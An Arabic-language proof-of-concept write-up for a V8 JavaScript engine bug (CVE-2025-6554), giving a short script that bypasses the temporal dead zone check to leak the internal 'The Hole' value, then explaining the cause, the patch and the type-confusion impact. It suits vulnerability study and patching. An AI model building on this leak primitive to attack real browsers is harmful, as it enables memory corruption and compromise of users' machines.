
إثبات مفهوم لاستغلال ثغرة أمنية في محرك جافاسكربت V8 (CVE-2025-6554) يوضح تجاوزًا لمنطقة TDZ يؤدي إلى تسريب الحارس 'The Hole'، مما يتيح حدوث ارتباك في الأنواع واحتمال تلف الذاكرة.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
تم الوصول إلى المتغير y قبل الإعلان عنه. في العادة، يجب أن يؤدي هذا إلى خطأ ReferenceError (المنطقة الميتة المؤقتة TDZ)، لكن في الإصدارات الأقدم من V8، عندما يُدمج مع delete x?.[y]، فشل الفحص وأعاد القيمة الداخلية الاحتياطية "The Hole".
كان V8 يفحص TDZ مرة واحدة فقط، ثم يفترض خطأً أن y صالح. وهذا سمح لـ "The Hole" بالتسرب إلى كود المستخدم.
يفرض التصحيح فحصًا جديدًا لـ TDZ (ThrowReferenceErrorIfHole) في كل وصول، مما يضمن أن y قبل التهيئة يرمي خطأً دائمًا.
التأثير: يمكن للمهاجمين التقاط "The Hole" وإساءة استخدامه للخلط بين الأنواع (type confusion)، أو حيل المكدس، أو تجاوز النطاق.